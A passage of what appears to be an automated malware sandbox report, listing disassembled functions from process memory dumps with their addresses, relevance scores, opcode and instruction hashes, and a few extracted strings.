              • Opcode Fuzzy Hash: 2971cf1bc36c00ae0e5d3fb49817b8fc484cb8d03c384b7086209b4618d68cfd
              • Instruction Fuzzy Hash: BA41A770E2952D9EEBA4EB59C8657F8B7B2FF58700F4141F9940DE2291DE346A808B40
              Function 00007FFD9B94168D Relevance: .1, Instructions: 79COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: b8283a484e745ab2a278252b7908fb7e9dfe9ea10032c6e4e5dec7084b6c459c
              • Instruction ID: 782bec064e11021b4ea40813a440cf474069e3cc2e8cda0dc3e1713da2385838
              • Opcode Fuzzy Hash: b8283a484e745ab2a278252b7908fb7e9dfe9ea10032c6e4e5dec7084b6c459c
              • Instruction Fuzzy Hash: E7213C70E2952D8FDB54EB98C8A4AFC7BF2FF58304F15007AD009E72A1CA38A941CB40
              Function 00007FFD9B9419D3 Relevance: .1, Instructions: 72COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 2bcb3ad76b3f0879c2fb3449756db26089f8c8754dcce66997acf29254c5aa62
              • Instruction ID: d70ee91cac7689123f8168ba9136908ee57650ee03c3a67a54fde24aafbf77c8
              • Opcode Fuzzy Hash: 2bcb3ad76b3f0879c2fb3449756db26089f8c8754dcce66997acf29254c5aa62
              • Instruction Fuzzy Hash: BF117D2675F6AD2FC7119F699C345EE3F60DFC2226F0600B7D548C7152D524064DC760
              Function 00007FFD9B940580 Relevance: .1, Instructions: 62COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: c1796156ed00a451f15e7f0ed3abb3933480222372fff411a6e40c0ffab03784
              • Instruction ID: 7d6551f7ae4899a00320d33a83b766954d67d78c8a08f337a72b41f13cb35941
              • Opcode Fuzzy Hash: c1796156ed00a451f15e7f0ed3abb3933480222372fff411a6e40c0ffab03784
              • Instruction Fuzzy Hash: 3B113631B1D26E7AE710BBACA4799F97FA0EF05325F0841B2E05EC10D7DE3469C88680
              Function 00007FFD9B9419C0 Relevance: .1, Instructions: 60COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 60369b714dddaa27f9296457de9a2b3768a71309af3c1ba40240223133d06b7a
              • Instruction ID: de0f24917dbea08417f31b42edf58c4a79846a02580c8297f711117c56122b49
              • Opcode Fuzzy Hash: 60369b714dddaa27f9296457de9a2b3768a71309af3c1ba40240223133d06b7a
              • Instruction Fuzzy Hash: AE11C62295E7ED6FD7126BA49C745EA3FA0EF12215F0A00F7D448C6193EA281A58C791
              Function 00007FFD9B9419C8 Relevance: .1, Instructions: 56COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: ac2cdbb17ff3faf650332673ffce4503805935553e4071d58d46141757ce66b0
              • Instruction ID: fe0c4e3c70f1ef0f1c14315a2761e00ec1d8703357cb7e15013891781b5d0e28
              • Opcode Fuzzy Hash: ac2cdbb17ff3faf650332673ffce4503805935553e4071d58d46141757ce66b0
              • Instruction Fuzzy Hash: E911E52195F7DD6FD712ABA48C745EA3FA0EF12214F0A00B7D448C7193EA281648C751
              Function 00007FFD9B9419B8 Relevance: .1, Instructions: 55COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: b143f1dee08071be455ae44bddbe5a2c381e4dc86a1d5547494113b7b693682e
              • Instruction ID: d3d0ecee8e3e5fe0c5e7b9fdf9e1a2bbb52b1b975ee0a0a04f5111260bb92ae8
              • Opcode Fuzzy Hash: b143f1dee08071be455ae44bddbe5a2c381e4dc86a1d5547494113b7b693682e
              • Instruction Fuzzy Hash: 9801F91265F7ED2FD3225BB49C745EA3F60DF02219F0A00F7D444C6193E9181A4DC791
              Function 00007FFD9B941511 Relevance: .0, Instructions: 48COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 760a6743179537d0e3a9c26d151897e0812198059331f4c074489c8a481b8b08
              • Instruction ID: 3f7d5d37a141a591997cc2b11164beaa4a9086eba3dc455dcf764d0de47b1c1e
              • Opcode Fuzzy Hash: 760a6743179537d0e3a9c26d151897e0812198059331f4c074489c8a481b8b08
              • Instruction Fuzzy Hash: C4015A3189E2C99FC7135BB488756E03FF1AF47214F0A05EAC0998B0B3E619656AD712
              Function 00007FFD9B94176F Relevance: .0, Instructions: 46COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: bed435053d3bea2ad1edc8ca8d43a6c7a9adf9fdd2e0c2a484b66cafbf690a17
              • Instruction ID: 10b38f2efa208e762f745f86ede0cb37a94e919b22e6eadb0606977102066106
              • Opcode Fuzzy Hash: bed435053d3bea2ad1edc8ca8d43a6c7a9adf9fdd2e0c2a484b66cafbf690a17
              • Instruction Fuzzy Hash: 9301DE3049E3D99FD7439BB088689D57FF4EF47204B1900EAD488CB0B3D628465AC712
              Function 00007FFD9B940A79 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: a042c82a446e8c75681e6fba045e13a1ae91837d7981491b42d0e26885aa224b
              • Instruction ID: 933bc90e6a1e3ff90c05b9c9fdbd4c0adf48218380c8d8254ccfce834795b9d8
              • Opcode Fuzzy Hash: a042c82a446e8c75681e6fba045e13a1ae91837d7981491b42d0e26885aa224b
              • Instruction Fuzzy Hash: 2601F731A6F3DD5FE7659BA448782F93FA1EF56710F4700ABD488C60E3DA285958C740
              Function 00007FFD9B940BD3 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction ID: 21037f5e3e135cbc60e9ae57dd8808e0e6160038cc9c074eea60bbea1f824584
              • Opcode Fuzzy Hash: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction Fuzzy Hash: B8011E70E2A13F9EEB60EBE484542FEB7F2AF04705F110535D419A21A2DB786744CBA4
              Function 00007FFD9B941494 Relevance: .0, Instructions: 38COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: a201ad016cb85b810b21cc87c8c8cd65a46ebb9292f0e13abb08a26db4bb5e82
              • Instruction ID: 9c8db95d822dbdc66b1e35ee362184a74bcaf882a9c7cbb386aeb333f57a290c
              • Opcode Fuzzy Hash: a201ad016cb85b810b21cc87c8c8cd65a46ebb9292f0e13abb08a26db4bb5e82
              • Instruction Fuzzy Hash: E401C830E1A52EDFDB64DB84D8946FCB7B2FB49304F510529D409A32A1DA746A40CB00
              Function 00007FFD9B948588 Relevance: .0, Instructions: 36COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: e35e1127f25f534021ffab9c4ea13368889cd5aafa6b2e5b8e852eee78aa88d4
              • Instruction ID: 96bd1388f978a093bd00efcac0927464ef9a3a34a53c5bd8a55385f830353194
              • Opcode Fuzzy Hash: e35e1127f25f534021ffab9c4ea13368889cd5aafa6b2e5b8e852eee78aa88d4
              • Instruction Fuzzy Hash: 49F0F930E2A51EAEEBA0EFA9985C6FD77E5FB18300F510436E81DD21A1DA3466508B40
              Function 00007FFD9B94144B Relevance: .0, Instructions: 35COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0a086efaa4045d1b871202c3a47097fc6fb17524f55df0d1c122a60c83058eca
              • Instruction ID: 5f05b200242465732086718633de4cab86f0041876afcd8d0475b9e0c8396983
              • Opcode Fuzzy Hash: 0a086efaa4045d1b871202c3a47097fc6fb17524f55df0d1c122a60c83058eca
              • Instruction Fuzzy Hash: 88F01971A1952E8FDBA4DB84C890AED77E3FB98340F158569C409E72A0DE35AA428B40
              Function 00007FFD9B940A90 Relevance: .0, Instructions: 35COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: f5038462e391110eba43c979ac3802c124314c6c432df3c19cd3dca110837f4a
              • Instruction ID: cee6a4a5666846d9a24f71c1ee42c3f3c6024edacee67c21d453f0b8ab647aa4
              • Opcode Fuzzy Hash: f5038462e391110eba43c979ac3802c124314c6c432df3c19cd3dca110837f4a
              • Instruction Fuzzy Hash: 59F0503096E65D9AEB64EBA4443C6F97BE1EF55704F020075D44DC20D1DD346698C740
              Function 00007FFD9B94075F Relevance: .0, Instructions: 28COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 182f1b42225a1da4b2912dc363e668517fe2e12f3316186330f19ac5b947ba48
              • Instruction ID: ed5670af48e839d3a251db4d7402ae122bbf5240b25c87b095cebe576beb750e
              • Opcode Fuzzy Hash: 182f1b42225a1da4b2912dc363e668517fe2e12f3316186330f19ac5b947ba48
              • Instruction Fuzzy Hash: 05E06530DAD50EBAE7A0BBF494197FD77E4EF04304F000876E85DC11A5EE3462948A41
              Function 00007FFD9B9405D0 Relevance: .0, Instructions: 28COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: bb7e0ffa48fc7981a403993d8746f0cd3ba29125c37b17a2433a774b606ca7e2
              • Instruction ID: ca3cac14c24752b4cde21c054fa528b8e249a269c151a2f1a548578ea9741d22
              • Opcode Fuzzy Hash: bb7e0ffa48fc7981a403993d8746f0cd3ba29125c37b17a2433a774b606ca7e2
              • Instruction Fuzzy Hash: CEF06D3092951EAFEB60EFA8985D6FD77F5FF09304F014476E81DD21A0EA34A2A4CB40
              Function 00007FFD9B9413FB Relevance: .0, Instructions: 5COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 9c9a72da79fdff7cb816d3daff56040d8ad72616021844f2cd71a26563b5a603
              • Instruction ID: c884775541c53a4fe5573cc7a119e752283fd100541d689b6e063a02566df836
              • Opcode Fuzzy Hash: 9c9a72da79fdff7cb816d3daff56040d8ad72616021844f2cd71a26563b5a603
              • Instruction Fuzzy Hash: 88A01120A3E03EAAE230A38088200BC232BAF8A300F022230C00E820A28C082A008A00

              Executed Functions

              Function 00007FFD9BAAA870 Relevance: 6.4, Strings: 5, Instructions: 148COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID: @$E$N$i$}
              • API String ID: 0-2673910834
              • Opcode ID: 18dc65885be230785b8902dd80008ac42429f4e4ce22f65a00c73244f5d98712
              • Instruction ID: ffe6d521c8b45137a186863e7f7c122a59113c7deb64f91a5d2398b82162ae6d
              • Opcode Fuzzy Hash: 18dc65885be230785b8902dd80008ac42429f4e4ce22f65a00c73244f5d98712
              • Instruction Fuzzy Hash: A5619B70A0562D8FDBA9DF54C8A4BA9B7F2FF54301F1141EAD40EA7291CB759A80CF50
              Function 00007FFD9BAA87FA Relevance: 1.4, Strings: 1, Instructions: 131COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID: N_^
              • API String ID: 0-884294832
              • Opcode ID: 7664ea6074eb0c2ecf178112ff6a51534b1c566ad67e8be30b027f532eb4d510
              • Instruction ID: 7bc0b1b7ad9bf9a20110b06e86fd150ef855f8c20b78d7eb1ac41d0a9d4d6a4a
              • Opcode Fuzzy Hash: 7664ea6074eb0c2ecf178112ff6a51534b1c566ad67e8be30b027f532eb4d510
              • Instruction Fuzzy Hash: C441E331D0E68D8FDB22ABA888646EC7BB1EF16314F4500BBD458D71E3DE785904CB61
              Function 00007FFD9BAA8C90 Relevance: 1.4, Strings: 1, Instructions: 118COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID: 0-2599400749
              • Opcode ID: 5a4f536f39fd8165e04429742e091ea16adbd7e68388c582869a234def257a68
              • Instruction ID: 9b3a768e10aed378dced1b32f9a08cb4792390cb04b2543dc3e237dd0dc68b55
              • Opcode Fuzzy Hash: 5a4f536f39fd8165e04429742e091ea16adbd7e68388c582869a234def257a68
              • Instruction Fuzzy Hash: CD31FD70E1991D8FEBA4EB98D8A5AFCB7B2FF68310F911139D00DD3292DE7469418B14
              Function 00007FFD9BAAAB18 Relevance: 1.3, Strings: 1, Instructions: 85COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID: 9
              • API String ID: 0-2366072709
              • Opcode ID: 75ae7649b2719654f3db2b72906e729a71019833c016fbdc9077f4fbe68af7cb
              • Instruction ID: 8b420c4e8fb3342690e068f48d39a4f86b9fd3964ca97db56c26fb448aa6350f
              • Opcode Fuzzy Hash: 75ae7649b2719654f3db2b72906e729a71019833c016fbdc9077f4fbe68af7cb
              • Instruction Fuzzy Hash: A23118B0A1965E8BDBA8DF18C855BA9B3B2FF58304F1001FAD50DE3291DE746E818F54
              Function 00007FFD9BAAE79D Relevance: .6, Instructions: 550COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 1384354ad5492ff451eddc1549af6e1c3a92bc487d0732d5954d81b86a8a240d
              • Instruction ID: 4795afcb453e7bd1e40ac4b2918787a57a2148c0248f93238026e14e1d6c5e48
              • Opcode Fuzzy Hash: 1384354ad5492ff451eddc1549af6e1c3a92bc487d0732d5954d81b86a8a240d
              • Instruction Fuzzy Hash: EE12C331A0E78D8FEBA1EFA488696E8BFA1FF15310F1501BAD448C71E3DA786544CB51
              Function 00007FFD9BAB67B5 Relevance: .5, Instructions: 525COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 653bddf2c4f4559973e847c96c03108b206ed60f6a4ac0fcb447d02c1ee628fe
              • Instruction ID: 377b50cf3e9001d26557a1b74145cafa79255afdd4ca2c5c9cd652292cf36639
              • Opcode Fuzzy Hash: 653bddf2c4f4559973e847c96c03108b206ed60f6a4ac0fcb447d02c1ee628fe
              • Instruction Fuzzy Hash: 98228B70E1562D8FEBA4EB58C8A5BA9B7B1EF58301F5041E9D41DE32A5CE746E81CF00
              Function 00007FFD9BAADFA8 Relevance: .5, Instructions: 515COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 666f79840af58de729c932470a2a08721341dd5372792071c2a4180659887137
              • Instruction ID: 10926c77825253b1914243edc8739db763b59283bb625b6464aaa5446a439f4f
              • Opcode Fuzzy Hash: 666f79840af58de729c932470a2a08721341dd5372792071c2a4180659887137
              • Instruction Fuzzy Hash: E302E331E0E78D8FEB61EFA888656E8BBA1FF15310F1501BAE448C71E3DA786544CB51
              Function 00007FFD9BAB0966 Relevance: .4, Instructions: 436COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 6a8d55694c939e82adb21c9d512d4c576b3bd57d5dc4c3bde501416261060a10
              • Instruction ID: 2d1bdb11d4ed336d1ffd1d74e511f42a972edf766de09574657bf0bc4a395781
              • Opcode Fuzzy Hash: 6a8d55694c939e82adb21c9d512d4c576b3bd57d5dc4c3bde501416261060a10
              • Instruction Fuzzy Hash: F5D11362A0F7D90FE33257AC5C241E87F91EF52765F0905FBE0988B0E7D8986A09C785
              Function 00007FFD9BAA9745 Relevance: .4, Instructions: 430COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: f7b8d0c5270cad902c2a454bd5e820cc7ae1ed727292f9670abefe9f1a3efac0
              • Instruction ID: 4984429d69a47778df399a7eca0f377689fb11472980e0536f39e4ceeaec097e
              • Opcode Fuzzy Hash: f7b8d0c5270cad902c2a454bd5e820cc7ae1ed727292f9670abefe9f1a3efac0
              • Instruction Fuzzy Hash: 65F14B71E1964D8FDBA8DF98C8A4BECB7A2FF58304F4441BAD00DD72A2CA756941CB10
              Function 00007FFD9BAB4D28 Relevance: .4, Instructions: 430COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 07a1e78378956a8c066a591b7e6242dc6dcaf336f04e0867b6b091e18706ad45
              • Instruction ID: a2c1d01d4f8965c2bf3b7651007b1ca9b5c13e2532f28f70d7df7197efb0fb32
              • Opcode Fuzzy Hash: 07a1e78378956a8c066a591b7e6242dc6dcaf336f04e0867b6b091e18706ad45
              • Instruction Fuzzy Hash: FAF1913091E69D8FDBA5EF64C8656ED7BB1FF15300F0101BAD05CD71A2DA78AA44CB41
              Function 00007FFD9BAB26F0 Relevance: .4, Instructions: 429COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: f060bb8a5bf65c0df66e5e2875e63376528e561b6b6f7c393099bddc224cbb13
              • Instruction ID: 64b8dfd6343f5743633089f192d13a256fe9b3cc5d1aa98f49b9b076a8cb0da9
              • Opcode Fuzzy Hash: f060bb8a5bf65c0df66e5e2875e63376528e561b6b6f7c393099bddc224cbb13
              • Instruction Fuzzy Hash: 4EE1C33194E3CD4FD7229BA498655E93FB0AF17300F0A01EBD498CB0E3DA6C6649CB52
              Function 00007FFD9BAB09C0 Relevance: .4, Instructions: 398COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 487a21edd0bdb8403891f228bb92080dfeb66816950911a02db146911bbc70af
              • Instruction ID: 5fe95e1a72f57a7102c479822135b22c162870af558ed042d2809d3be069af74
              • Opcode Fuzzy Hash: 487a21edd0bdb8403891f228bb92080dfeb66816950911a02db146911bbc70af
              • Instruction Fuzzy Hash: 99C10362A0F7D50FE33257AC6C211E97F91EF42765F0905FBE0988B0E7D8986A09C785
              Function 00007FFD9BAAFD8D Relevance: .4, Instructions: 394COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: cc56e257adf7588d38f7848f4bfba7fd026e316f887152395bb05610a6f53476
              • Instruction ID: 1a0d476908bacab7cbd4780cbdab3cd6df491ea071ad6316591e73010ac010aa
              • Opcode Fuzzy Hash: cc56e257adf7588d38f7848f4bfba7fd026e316f887152395bb05610a6f53476
              • Instruction Fuzzy Hash: 6AD1BF31D4E68D8FDB65EFA488646EDBFF0EF06300F0505BAE448D71A2DA786648CB51
              Function 00007FFD9BAB486D Relevance: .4, Instructions: 390COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8f43ec86c63dae02b5af16088c1dd149eb24d5e9b2fe9bcbf2f30164d1ef1e90
              • Instruction ID: f8b265b532c71865b7ea1e42f4098afeac7a51e5659dea8f1bff4fa67f72aec2
              • Opcode Fuzzy Hash: 8f43ec86c63dae02b5af16088c1dd149eb24d5e9b2fe9bcbf2f30164d1ef1e90
              • Instruction Fuzzy Hash: 16D1A13194E3CD4FD7229BA488655E97FB0EF06310F0A01EBD498C71B3DA686659CB52
              Function 00007FFD9BAB2DF0 Relevance: .4, Instructions: 382COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 4f21e2070a7bddb3d86f876eab8b8d973642d0dbd348a24b4f5d7b49b2ac0abd
              • Instruction ID: ed85759c2693563a8f81a2e03df138c15e61e50e8e6a16d9e6c48cf520d27644
              • Opcode Fuzzy Hash: 4f21e2070a7bddb3d86f876eab8b8d973642d0dbd348a24b4f5d7b49b2ac0abd
              • Instruction Fuzzy Hash: A6C12231A0E28D8FDB61EFAC98656ED7FA0FF15325F0501BBE458C60E2DA386544CB81
              Function 00007FFD9BAB89C9 Relevance: .4, Instructions: 382COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: e39a435f5524a897f27e9a7c8e59d1d850fd12d82eecc0f173878d04b1e11057
              • Instruction ID: 982476da43022a7d0fff1dfe3ed5a7ba01f97a3762d61f1320686d7bf47d8080
              • Opcode Fuzzy Hash: e39a435f5524a897f27e9a7c8e59d1d850fd12d82eecc0f173878d04b1e11057
